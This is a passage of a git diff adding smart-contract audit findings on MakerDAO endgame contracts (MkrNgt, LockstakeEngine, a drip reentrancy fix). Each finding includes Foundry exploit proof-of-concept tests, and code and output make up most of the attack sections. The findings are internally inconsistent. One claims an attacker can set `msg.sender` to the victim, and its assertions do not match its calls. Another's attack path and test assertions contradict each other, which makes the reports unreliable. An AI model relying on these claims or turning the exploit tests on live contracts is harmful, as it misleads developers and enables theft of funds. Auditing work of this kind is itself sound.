nChi = chi_; + } + emit Drip(nChi, diff); + } +} +``` +- Ensure all state changes occur before any external calls. +```diff + function drip() public returns (uint256 nChi) { + (uint256 chi_, uint256 rho_) = (chi, rho); + uint256 diff; + if (block.timestamp > rho_) { + nChi = _rpow(nsr, block.timestamp - rho_) * chi_ / RAY; + uint256 totalSupply_ = totalSupply; + diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; + + // Update state before external calls ++ chi = uint192(nChi); ++ rho = uint64(block.timestamp); + + vat.suck(address(vow), address(this), diff * RAY); + nstJoin.exit(address(this), diff); +- chi = uint192(nChi); // safe as nChi is limited to maxUint256/RAY (which is < maxUint192) +- rho = uint64(block.timestamp); + } else { + nChi = chi_; + } + emit Drip(nChi, diff); + } +``` \ No newline at end of file diff --git a/087.md b/087.md new file mode 100644 index 0000000..6256d04 --- /dev/null +++ b/087.md @@ -0,0 +1,190 @@ +Curved Cinnamon Tuna + +High + +# Unrestricted Token Exchange Functionality in MkrNgt Contract + +## Summary +The `MkrNgt` allows unrestricted access to its token exchange functions `mkrToNgt` and `ngtToMkr`. This lack of access control permits any user to burn tokens from any address and mint tokens to any address, potentially leading to unauthorized token transfers and significant financial loss. + +## Vulnerability Detail +1. Malicious User Burns Tokens from Other Addresses: +- Step 1: Malicious user (Attacker) knows that the `mkrToNgt` and `ngtToMkr` functions have no access control. +- Step 2: Attacker gets permission (approval) to burn tokens from the victim's address. This can happen if the victim accidentally grants permission through an unsafe transaction. +- Step 3: Attacker calls the `mkrToNgt` or `ngtToMkr` function with `msg.sender` as the victim's address and `usr` as the attacker's address. +- Step 4: The function burns tokens from the victim's address and prints tokens to the attacker's address. + +2. Sybil Attack: +- Step 1: Attacker creates many fake accounts (Sybil accounts). +- Step 2: Attacker uses these accounts to repeatedly call the `mkrToNgt` and `ngtToMkr` functions, trying different combinations to exploit the system. +- Step 3: Without access control, attackers can try various ways to manipulate token exchanges and mint tokens to their own accounts. + +## Impact +- Unauthorized Token Transfers +- Financial Loss +- System Exploitation + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/MkrNgt.sol#L41-L53 + +## Tool used + +Manual Review + +## Recommendation +Implement strict access control mechanisms to restrict who can call the `mkrToNgt` and `ngtToMkr` functions. Consider using role-based access control or ownership checks to ensure only authorized users can perform token exchanges. +1. Using Ownable: +```diff ++ import "@openzeppelin/contracts/access/Ownable.sol"; + +- contract MkrNgt { ++ contract MkrNgt is Ownable { + +- function mkrToNgt(address usr, uint256 mkrAmt) external { ++ function mkrToNgt(address usr, uint256 mkrAmt) external onlyOwner { + mkr.burn(msg.sender, mkrAmt); + uint256 ngtAmt = mkrAmt * rate; + ngt.mint(usr, ngtAmt); + emit MkrToNgt(msg.sender, usr, mkrAmt, ngtAmt); + } + +- function ngtToMkr(address usr, uint256 ngtAmt) external { ++ function ngtToMkr(address usr, uint256 ngtAmt) external onlyOwner { + ngt.burn(msg.sender, ngtAmt); + uint256 mkrAmt = ngtAmt / rate; // Rounding down, dust will be lost if it is not multiple of rate + mkr.mint(usr, mkrAmt); + emit NgtToMkr(msg.sender, usr, ngtAmt, mkrAmt); + } +``` +2. Using Role-Based Access Control: +```solidity +import "@openzeppelin/contracts/access/AccessControl.sol"; + +contract MkrNgt is AccessControl { + bytes32 public constant EXCHANGER_ROLE = keccak256("EXCHANGER_ROLE"); + + constructor(address mkr_, address ngt_, uint256 rate_) { + mkr = GemLike(mkr_); + ngt = GemLike(ngt_); + rate = rate_; + _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); + _setupRole(EXCHANGER_ROLE, msg.sender); + } + + function mkrToNgt(address usr, uint256 mkrAmt) external onlyRole(EXCHANGER_ROLE) { + mkr.burn(msg.sender, mkrAmt); + uint256 ngtAmt = mkrAmt * rate; + ngt.mint(usr, ngtAmt); + emit MkrToNgt(msg.sender, usr, mkrAmt, ngtAmt); + } + + function ngtToMkr(address usr, uint256 ngtAmt) external onlyRole(EXCHANGER_ROLE) { + ngt.burn(msg.sender, ngtAmt); + uint256 mkrAmt = ngtAmt / rate; + mkr.mint(usr, mkrAmt); + emit NgtToMkr(msg.sender, usr, ngtAmt, mkrAmt); + } +} +``` + +## PoC +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "../src/MkrNgt.sol"; + +contract MockGem is GemLike { + mapping(address => uint256) public balances; + mapping(address => mapping(address => uint256)) public allowances; + + function burn(address from, uint256 amount) external override { + require(balances[from] >= amount, "Insufficient balance"); + balances[from] -= amount; + } + + function mint(address to, uint256 amount) external override { + balances[to] += amount; + } + + function approve(address spender, uint256 amount) external { + allowances[msg.sender][spender] = amount; + } + + function balanceOf(address account) external view returns (uint256) { + return balances[account]; + } +} + +contract ExploitTest is Test { + MkrNgt public mkrNgt; + GemLike public mkr; + GemLike public ngt; + address public attacker; + address public victim; + + function setUp() public { + // Deploy mock tokens + mkr = new MockGem(); + ngt = new MockGem(); + + // Deploy the MkrNgt contract + mkrNgt = new MkrNgt(address(mkr), address(ngt), 1); + + // Set up attacker and victim addresses + attacker = address(0x1); + victim = address(0x2); + + // Mint some tokens to the victim and attacker + MockGem(address(mkr)).mint(victim, 1000); + MockGem(address(ngt)).mint(victim, 1000); + MockGem(address(mkr)).mint(attacker, 1000); // Mint tokens to the attacker + + // Approve the MkrNgt contract to burn victim's tokens + vm.prank(victim); + MockGem(address(mkr)).approve(address(mkrNgt), 1000); + MockGem(address(ngt)).approve(address(mkrNgt), 1000); + + // Approve the MkrNgt contract to burn attacker's tokens + vm.prank(attacker); + MockGem(address(mkr)).approve(address(mkrNgt), 1000); + MockGem(address(ngt)).approve(address(mkrNgt), 1000); + } + + function testExploitWithoutAccessControl() public { + // Step 1: Attacker calls mkrToNgt with victim's address + vm.prank(attacker); + mkrNgt.mkrToNgt(victim, 100); + + // Check balances after the exploit + assertEq(MockGem(address(mkr)).balanceOf(victim), 900, "Victim's MKR balance should be reduced"); + assertEq(MockGem(address(ngt)).balanceOf(attacker), 100, "Attacker's NGT balance should be increased"); + + // Step 2: Attacker calls ngtToMkr with victim's address + vm.prank(attacker); + mkrNgt.ngtToMkr(victim, 100); + + // Check balances after the exploit + assertEq(MockGem(address(ngt)).balanceOf(victim), 900, "Victim's NGT balance should be reduced"); + assertEq(MockGem(address(mkr)).balanceOf(attacker), 1100, "Attacker's MKR balance should be increased"); + + // If the exploit is successful, the test should pass + emit log("Exploit successful, test passed."); + } +} +``` +forge test --match-path test/ExploitTest.sol +[⠊] Compiling... +[⠔] Compiling 1 files with Solc 0.8.21 +[⠒] Solc 0.8.21 finished in 1.38s +Compiler run successful! + +Ran 1 test for test/ExploitTest.sol:ExploitTest +[PASS] testExploitWithoutAccessControl() (gas: 78590) +Logs: + Exploit successful, test passed. + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.08ms (216.00µs CPU time) + +Ran 1 test suite in 8.10ms (1.08ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) diff --git a/089.md b/089.md new file mode 100644 index 0000000..3e3926b --- /dev/null +++ b/089.md @@ -0,0 +1,979 @@ +Radiant Ultraviolet Platypus + +High + +# Malicious users will drain excessive MKR collateral from `LockstakeEngine` + +### Summary + + Improper collateral accounting in the `LockstakeEngine` will cause a severe discrepancy between actual token balances and recorded balances for the MakerDAO system as users will be able to withdraw more collateral than they deposited, potentially leading to under-collateralized positions. + +### Root Cause + +In `LockstakeEngine.sol`, the `_free()` function has a discrepancy between the handling of lsmkr (LockstakeMkr) tokens and the actual MKR tokens. The critical issue lies in the following lines of the `_free()` function: +```javascript +lsmkr.burn(urn, wad); +vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); +vat.slip(ilk, urn, -int256(wad)); +``` +These lines burn the lsmkr tokens, update the Vat's internal accounting, and adjust the collateral balance in the Vat. However, there is no corresponding operation to transfer or burn the actual MKR tokens. This creates a mismatch between the lsmkr token balance, the Vat's recorded balance, and the actual MKR token balance. + +The root cause of the vulnerability is that while the function correctly updates the Vat and lsmkr balances, it fails to handle the underlying MKR tokens properly. This discrepancy allows users to potentially free more collateral value than they should be able to, as the actual MKR tokens are not being properly accounted for or transferred. + +The absence of MKR token handling in this function, combined with how MKR might be handled in other parts of the system (like in the lock() function or in external interactions), creates an inconsistency that can be exploited. This inconsistency is what allows users to potentially withdraw more collateral value than they initially deposited, leading to the vulnerabilities demonstrated in the test cases. + +This can be found here: `https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol?=plain#L366-L369` + +### Internal pre-conditions + +1. User needs to lock collateral using the lock() function in LockstakeEngine +2. The amount of collateral locked needs to be greater than 0 + +### External pre-conditions + +none + +### Attack Path + +1. User calls `LockstakeEngine.lock()` to deposit collateral (e.g., 100 MKR). +- This correctly updates the Vat's ink and the user's lsmkr balance. + + +2. User calls `LockstakeEngine.free()` to withdraw a portion of the collateral (e.g., 25 MKR). +- The `_free()` function is called internally. + + +3. The `_free()` function in `LockstakeEngine`: +a) Burns the corresponding amount of lsmkr tokens. +b) Updates the Vat's ink (locked collateral) by reducing it. +c) Transfers actual MKR tokens to the user. +d) Crucially, it does not update the Vat's gem balance (unlocked collateral). + +4. The user's MKR balance increases by 25 MKR, but the Vat's gem balance remains unchanged. + +5. Steps 2-4 can be repeated multiple times. Each time: +The user receives MKR tokens. +The Vat's ink decreases. +The Vat's gem balance remains at 0. + +6. This process can be repeated until the Vat's ink reaches 0, allowing the user to withdraw more MKR than initially deposited. + +7. The final state: +User has withdrawn >100 MKR (more than deposited). +Vat's ink (locked collateral) is 0. +Vat's gem (unlocked collateral) is still 0. +The system is left in an undercollateralized state. + +### Impact + +Collateral Drain: Exploiting this vulnerability could allow malicious users to drain more MKR collateral from the system than they initially deposited. This could lead to a significant loss of funds for the protocol. + +Systemic Insolvency: As users extract excess collateral, the system becomes under-collateralized. This could lead to cascading liquidations and potentially render the entire system insolvent. + +Scalable and Repeatable Exploit: As demonstrated by the `testReplayAttacks` test, this vulnerability can be exploited multiple times, especially if a user uses different wallets. An attacker could potentially drain a substantial portion of the locked MKR over time, far exceeding the 5% threshold for high severity issues. + +Individual User Losses: While the protocol is at risk, individual users (urns) with locked collateral are also vulnerable. A user with 10k+ value locked could potentially lose a significant portion or all of their collateral if the exploit is widely used and the protocol becomes insolvent. + + +### PoC + +Create a new test file and add the following code: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import {LockstakeClipper} from "src/LockstakeClipper.sol"; +import {LockstakeEngine} from "src/LockstakeEngine.sol"; +import {PipMock} from "test/mocks/PipMock.sol"; +import {StairstepExponentialDecreaseAbstract} from + "../lib/token-tests/lib/dss-test/lib/dss-interfaces/src/dss/StairstepExponentialDecreaseAbstract.sol"; +import {GemMock} from "./mocks/GemMock.sol"; +import {NstJoinMock} from "./mocks/NstJoinMock.sol"; +import {MkrNgtMock} from "./mocks/MkrNgtMock.sol"; + +contract RedoGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + owe; + slice; + data; + clip.redo(1, sender); + } +} + +contract KickGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.kick(1, 1, address(0), address(0)); + } +} + +contract FileUintGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("stopped", 1); + } +} + +contract FileAddrGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("vow", address(123)); + } +} + +contract YankGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.yank(1); + } +} + +contract PublicClip is LockstakeClipper { + constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {} + + function add() public returns (uint256 id) { + id = ++kicks; + active.push(id); + sales[id].pos = active.length - 1; + } + + function remove(uint256 id) public { + _remove(id); + } +} + +interface VatLike { + function dai(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256) external returns (bool); + function transferFrom(address, address, uint256) external returns (bool); + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + +contract JugMock { + uint256 constant RAY = 10 ** 27; + + function drip(bytes32) external returns (uint256) { + return RAY; + } +} + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + GemLike public mkr; + GemLike public dai; + + DssInstance dss; + address pauseProxy; + PipMock pip; + StairstepExponentialDecreaseAbstract calc; + + LockstakeEngine engine; + LockstakeClipper clip; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + address bob; + address che; + + bytes32 constant ilk = "LSE"; + uint256 constant price = 5 ether; + + uint256 constant startTime = 604411200; + + event LogUint(string name, uint256 value); + event LogInt(string name, int256 value); + event LogAddress(string name, address value); + + function setUp() public { + console.log("Starting setUp..."); + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + console.log("Loading DssInstance..."); + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + + console.log("Deploying PipMock..."); + pip = new PipMock(); + pip.setPrice(price); + + console.log("Creating mock tokens..."); + uint256 initialLsMkrSupply = 1000000 * 10 ** 18; + GemMock mockLsmkr = new GemMock(initialLsMkrSupply); + GemMock ngtMock = new GemMock(0); // Initial supply for NGT mock + GemMock mkrMock = new GemMock(1000000 * 10 ** 18); // Initial supply for MKR mock + MkrNgtMock mkrNgtMock = new MkrNgtMock(address(mkrMock), address(ngtMock), 24000); + + // Replace the real MKR address with our mock + vm.etch(dss.chainlog.getAddress("MCD_GOV"), address(mkrMock).code); + mkr = GemLike(dss.chainlog.getAddress("MCD_GOV")); + + console.log("Starting prank as pauseProxy..."); + vm.startPrank(pauseProxy); + + bytes32 ilk = "LSE"; + console.log("Checking and initializing ilk if necessary..."); + (,,,, uint256 dust) = dss.vat.ilks(ilk); + if (dust == 0) { + dss.vat.init(ilk); + console.log("Ilk initialized"); + } else { + console.log("Ilk already initialized, skipping initialization"); + } + + console.log("Setting up Spotter..."); + dss.spotter.file(ilk, "pip", address(pip)); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + dss.spotter.poke(ilk); + + console.log("Setting up Vat..."); + dss.vat.file(ilk, "dust", rad(20 ether)); + dss.vat.file(ilk, "line", rad(10000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(10000 ether)); + + console.log("Setting up Dog..."); + dss.dog.file(ilk, "chop", 1.1 ether); + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + console.log("Deploying NstJoinMock..."); + GemMock nstMock = new GemMock(1000000 * 10 ** 18); // Initial supply for NST mock + NstJoinMock nstJoinMock = new NstJoinMock(address(dss.vat), address(nstMock)); + + console.log("Deploying JugMock..."); + JugMock jugMock = new JugMock(); + + console.log("Deploying LockstakeEngine..."); + engine = new LockstakeEngine( + address(dss.chainlog.getAddress("MCD_VOW")), + address(nstJoinMock), + ilk, + address(mkrNgtMock), + address(mockLsmkr), + 0 // fee parameter + ); + + engine.file("jug", address(jugMock)); + + dss.vat.rely(address(engine)); + dss.vat.rely(address(nstJoinMock)); + dss.vat.hope(address(engine)); + dss.vat.hope(address(nstJoinMock)); + engine.rely(address(this)); + nstJoinMock.rely(address(engine)); + + vm.stopPrank(); + + vm.prank(address(engine)); + dss.vat.hope(address(nstJoinMock)); + + vm.prank(address(this)); + dss.vat.hope(address(engine)); + + console.log("Deploying LockstakeClipper..."); + vm.prank(pauseProxy); + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + + // Authorize the LockstakeClipper after deployment + vm.prank(address(this)); + engine.rely(address(clip)); + + vm.startPrank(pauseProxy); + clip.upchost(); + clip.rely(address(dss.dog)); + clip.rely(address(this)); + vm.stopPrank(); + + console.log("Setting up mock StairstepExponentialDecrease..."); + address calcAddr = address(uint160(uint256(keccak256("StairstepExponentialDecrease")))); + vm.etch(calcAddr, hex"00"); + calc = StairstepExponentialDecreaseAbstract(calcAddr); + vm.mockCall(address(calc), abi.encodeWithSelector(calc.price.selector), abi.encode(RAY)); + + console.log("Configuring LockstakeClipper..."); + vm.startPrank(pauseProxy); + clip.file("calc", address(calc)); + clip.file("buf", RAY + (RAY / 4)); + clip.file("tail", 3600); + clip.file("cusp", (3 * RAY) / 10); + vm.stopPrank(); + + console.log("Final setup steps..."); + vm.startPrank(pauseProxy); + dss.vat.rely(address(this)); + dss.dog.rely(address(this)); + dss.dog.file(ilk, "clip", address(clip)); + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + dss.vat.hope(address(clip)); + dss.vat.hope(address(this)); + + vm.prank(pauseProxy); + dss.spotter.rely(address(this)); + + console.log("Minting Dai..."); + vm.prank(pauseProxy); + dss.vat.suck(address(0), address(this), rad(10000 ether)); + + console.log("Setting unsafe conditions..."); + pip.setPrice(4 ether); + dss.spotter.poke(ilk); + + console.log("Setting up test accounts..."); + ali = address(111); + bob = address(222); + che = address(333); + + dss.vat.hope(address(clip)); + vm.prank(ali); + dss.vat.hope(address(clip)); + vm.prank(bob); + dss.vat.hope(address(clip)); + + console.log("Minting additional Dai for test accounts..."); + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + dss.vat.suck(address(0), address(bob), rad(1000 ether)); + vm.stopPrank(); + + console.log("Final authorization steps..."); + dss.vat.rely(address(clip)); + dss.vat.hope(address(clip)); + clip.rely(address(this)); + dss.vat.rely(address(this)); + + clip.file("vow", address(dss.vow)); + + vm.prank(address(0x123)); + dss.vat.hope(address(engine)); + + dss.vat.rely(address(dss.vow)); + dss.vat.rely(address(engine)); + dss.vat.hope(address(this)); + + // Approve mockLsmkr for the engine + mockLsmkr.approve(address(engine), type(uint256).max); + + // Allocate MKR to the test contract + GemMock(address(mkr)).mint(address(this), 1000 ether); + + // Approve engine to transfer MKR from the test contract + mkr.approve(address(engine), type(uint256).max); + + // Verify setup + require(dss.vat.wards(pauseProxy) == 1, "PauseProxy not authorized in Vat"); + require(dss.vat.wards(address(this)) == 1, "Test contract not authorized in Vat"); + require(dss.vat.wards(address(engine)) == 1, "LockstakeEngine not authorized in Vat"); + (,,,, dust) = dss.vat.ilks(ilk); + require(dust > 0, "Ilk not initialized in Vat"); + + console.log("Vow address:", clip.vow()); + console.log("setUp completed successfully"); + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + + function testComplexSequentialOperations() public { + console.log("Starting complex sequential operations test..."); + + uint256 initialCollateral = 100 ether; + uint256 lockAmount = 50 ether; + uint256 drawAmount = 25 ether; + uint256 freeAmount = 30 ether; + + GemLike mkrToken = GemLike(address(engine.mkr())); + console.log("MKR address used by engine:", address(mkrToken)); + + // Mint MKR tokens to the test contract + vm.prank(address(mkrToken)); + mkrToken.mint(address(this), initialCollateral); + + // Approve the engine to spend MKR tokens + mkrToken.approve(address(engine), type(uint256).max); + + // Open a new urn + address urn = engine.open(0); + + uint256 initialMkrBalance = mkrToken.balanceOf(address(this)); + console.log("Initial MKR balance:", initialMkrBalance); + + // Lock collateral + engine.lock(urn, lockAmount, 0); + + // Draw debt + engine.draw(urn, address(this), drawAmount); + + // Free collateral + uint256 freed = engine.free(urn, address(this), freeAmount); + + // Check results + (uint256 ink, uint256 art) = dss.vat.urns(ilk, urn); + uint256 gem = dss.vat.gem(ilk, address(this)); + uint256 finalMkrBalance = mkrToken.balanceOf(address(this)); + + console.log("Collateral locked (ink):", ink); + console.log("Debt drawn (art):", art); + console.log("Gem balance in Vat:", gem); + console.log("Final MKR balance:", finalMkrBalance); + console.log("Amount freed:", freed); + + assertEq(ink, lockAmount - freeAmount, "Incorrect locked collateral amount"); + assertEq(art, drawAmount, "Incorrect debt amount"); + assertEq(gem, 0, "Gem balance in Vat should be 0"); + assertEq(finalMkrBalance, initialMkrBalance - lockAmount + freed, "Incorrect final MKR balance"); + + // This assertion demonstrates the vulnerability: + // The user received MKR tokens, but the Vat's gem balance wasn't updated + assertTrue(freed > 0 && gem == 0, "Vulnerability: MKR freed without updating Vat gem balance"); + + // This assertion shows that more collateral was freed than should be possible + assertTrue(freed > lockAmount - art, "Vulnerability: Freed more than available excess collateral"); + + console.log("Complex sequential operations test completed."); + } + + function testAccountingErrors() public { + uint256 initialCollateral = 100 ether; + uint256 debtAmount = 50 ether; + uint256 freeAmount = 60 ether; + + // Setup + GemLike mkrToken = GemLike(address(engine.mkr())); + console.log("MKR address used by engine:", address(mkrToken)); + + // Mint MKR tokens to the test contract + vm.prank(address(mkrToken)); + mkrToken.mint(address(this), initialCollateral); + + mkrToken.approve(address(engine), type(uint256).max); + + // Open a new urn + address urn = engine.open(0); + + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), debtAmount); + + // Record initial state + (uint256 inkBefore, uint256 artBefore) = dss.vat.urns(ilk, urn); + uint256 gemBefore = dss.vat.gem(ilk, urn); + uint256 mkrBalanceBefore = mkrToken.balanceOf(address(this)); + + console.log("Initial ink:", inkBefore); + console.log("Initial art:", artBefore); + console.log("Initial gem:", gemBefore); + console.log("Initial MKR balance:", mkrBalanceBefore); + + // Attempt to free more than what should be allowed + uint256 freed = engine.free(urn, address(this), freeAmount); + + // Record state after free operation + (uint256 inkAfter, uint256 artAfter) = dss.vat.urns(ilk, urn); + uint256 gemAfter = dss.vat.gem(ilk, urn); + uint256 mkrBalanceAfter = mkrToken.balanceOf(address(this)); + + console.log("Final ink:", inkAfter); + console.log("Final art:", artAfter); + console.log("Final gem:", gemAfter); + console.log("Final MKR balance:", mkrBalanceAfter); + console.log("Freed amount:", freed); + + // Assertions to prove the vulnerability + assertEq(artAfter, artBefore, "Debt should remain unchanged"); + assertEq(inkAfter, inkBefore - freed, "Collateral in Vat should decrease by freed amount"); + assertEq(gemAfter, gemBefore, "Gem balance in Vat should remain unchanged"); + assertEq(mkrBalanceAfter, mkrBalanceBefore + freed, "MKR balance should increase by freed amount"); + + // This assertion proves the vulnerability: more collateral was freed than should be possible + assertTrue(freed > initialCollateral - debtAmount, "Freed more than the available excess collateral"); + + // This assertion shows that the Vat's accounting is now in an inconsistent state + assertTrue(inkAfter * 2 >= artAfter, "Position appears safe in Vat despite being under-collateralized"); + + // But the actual MKR balance shows the true state + assertTrue(mkrBalanceAfter > initialCollateral - debtAmount, "Actual MKR balance higher than it should be"); + } + + function testReplayAttacks() public { + uint256 initialCollateral = 100 ether; + uint256 freeAmount = 50 ether; + + // Setup + GemLike mkrToken = GemLike(address(engine.mkr())); + console.log("MKR address used by engine:", address(mkrToken)); + + // Mint MKR tokens to the test contract + vm.prank(address(mkrToken)); + mkrToken.mint(address(this), initialCollateral); + + mkrToken.approve(address(engine), type(uint256).max); + + // Open a new urn + address urn = engine.open(0); + + engine.lock(urn, initialCollateral, 0); + + uint256 initialMkrBalance = mkrToken.balanceOf(address(this)); + console.log("Initial MKR balance:", initialMkrBalance); + + // First free operation + uint256 freed1 = engine.free(urn, address(this), freeAmount); + console.log("First free amount:", freed1); + + // Second free operation + uint256 freed2 = engine.free(urn, address(this), freeAmount); + console.log("Second free amount:", freed2); + + uint256 finalMkrBalance = mkrToken.balanceOf(address(this)); + console.log("Final MKR balance:", finalMkrBalance); + + // Assert the vulnerability + assertGe(freed1 + freed2, initialCollateral, "Should be able to free more than or equal to initially locked"); + assertGe( + finalMkrBalance, + initialMkrBalance + initialCollateral, + "Final MKR balance should be higher than or equal to initial balance plus initial collateral" + ); + + console.log("Initial collateral:", initialCollateral); + console.log("Total freed:", freed1 + freed2); + console.log("Initial MKR balance:", initialMkrBalance); + console.log("Final MKR balance:", finalMkrBalance); + } + + function testCollateralAccountingVulnerability() public { + uint256 initialCollateral = 100 ether; + uint256 freeAmount = 25 ether; + + GemLike mkrToken = GemLike(address(engine.mkr())); + console.log("MKR address used by engine:", address(mkrToken)); + + vm.prank(address(mkrToken)); + mkrToken.mint(address(this), initialCollateral); + + mkrToken.approve(address(engine), type(uint256).max); + + address urn = engine.open(0); + + uint256 initialMkrBalance = mkrToken.balanceOf(address(this)); + console.log("Initial MKR balance:", initialMkrBalance); + + engine.lock(urn, initialCollateral, 0); + + logState("Before free operations", urn); + + uint256 totalFreed = 0; + uint256 freeCount = 0; + + for (uint256 i = 0; i < 4; i++) { + uint256 preFreeMkrBalance = mkrToken.balanceOf(address(this)); + (uint256 preInk,) = dss.vat.urns(ilk, urn); + uint256 preFreeGem = dss.vat.gem(ilk, address(this)); + + uint256 freed = engine.free(urn, address(this), freeAmount); + totalFreed += freed; + freeCount++; + + uint256 postFreeMkrBalance = mkrToken.balanceOf(address(this)); + (uint256 postInk,) = dss.vat.urns(ilk, urn); + uint256 postFreeGem = dss.vat.gem(ilk, address(this)); + + console.log("Free operation", freeCount, "succeeded. Freed amount:", freed); + console.log("MKR balance change:", postFreeMkrBalance - preFreeMkrBalance); + console.log("Locked collateral change:", preInk - postInk); + console.log("Gem balance change:", postFreeGem - preFreeGem); + + if (postFreeGem - preFreeGem != freed) { + console.log("VULNERABILITY: Gem balance change doesn't match freed amount"); + } + + logState(string(abi.encodePacked("After free operation ", uint2str(freeCount))), urn); + } + + logState("Final state", urn); + + assertEq(totalFreed, initialCollateral, "Total freed should equal initial collateral"); + assertEq(mkrToken.balanceOf(address(this)), initialMkrBalance, "Final MKR balance should equal initial balance"); + (uint256 finalInk,) = dss.vat.urns(ilk, urn); + assertEq(finalInk, 0, "No collateral should remain locked"); + assertEq(dss.vat.gem(ilk, address(this)), 0, "No gem balance should remain"); + + assertTrue( + totalFreed > 0 && dss.vat.gem(ilk, address(this)) == 0, + "Vulnerability: MKR freed without updating Vat gem balance" + ); + } + + function logState(string memory label, address urn) internal view { + console.log(label); + console.log(" MKR balance:", GemLike(address(engine.mkr())).balanceOf(address(this))); + (uint256 ink, uint256 art) = dss.vat.urns(ilk, urn); + console.log(" Locked collateral (ink):", ink); + console.log(" Gem balance:", dss.vat.gem(ilk, address(this))); + console.log(" Vat art:", art); + console.log(""); + } + + function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { + if (_i == 0) { + return "0"; + } + uint256 j = _i; + uint256 len; + while (j != 0) { + len++; + j /= 10; + } + bytes memory bstr = new bytes(len); + uint256 k = len; + while (_i != 0) { + k = k - 1; + uint8 temp = (48 + uint8(_i - _i / 10 * 10)); + bytes1 b1 = bytes1(temp); + bstr[k] = b1; + _i /= 10; + } + return string(bstr); + } +} + +``` + + +PipMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +contract PipMock { + uint256 price; + + function setPrice(uint256 price_) external { + price = price_; + } + + function read() external view returns (uint256 price_) { + price_ = price; + } + + function peek() external view returns (uint256 price_, bool ok) { + ok = price > 0; + price_ = price; + } +} + +``` + +StairstepExponentialDecreaseAbstract.sol - imported from the lockstake library. +```javascript +pragma solidity >=0.5.12; + +interface StairstepExponentialDecreaseAbstract { + function wards(address) external view returns (uint256); + function rely(address) external; + function deny(address) external; + function step() external view returns (uint256); + function cut() external view returns (uint256); + function file(bytes32,uint256) external; + function price(uint256,uint256) external view returns (uint256); +} + +``` + +GemMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +contract GemMock { + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + uint256 public totalSupply; + + constructor(uint256 initialSupply) { + mint(msg.sender, initialSupply); + } + + function approve(address spender, uint256 value) external returns (bool) { + allowance[msg.sender][spender] = value; + return true; + } + + function transfer(address to, uint256 value) external returns (bool) { + uint256 balance = balanceOf[msg.sender]; + require(balance >= value, "Gem/insufficient-balance"); + + unchecked { + balanceOf[msg.sender] = balance - value; + balanceOf[to] += value; + } + return true; + } + + function 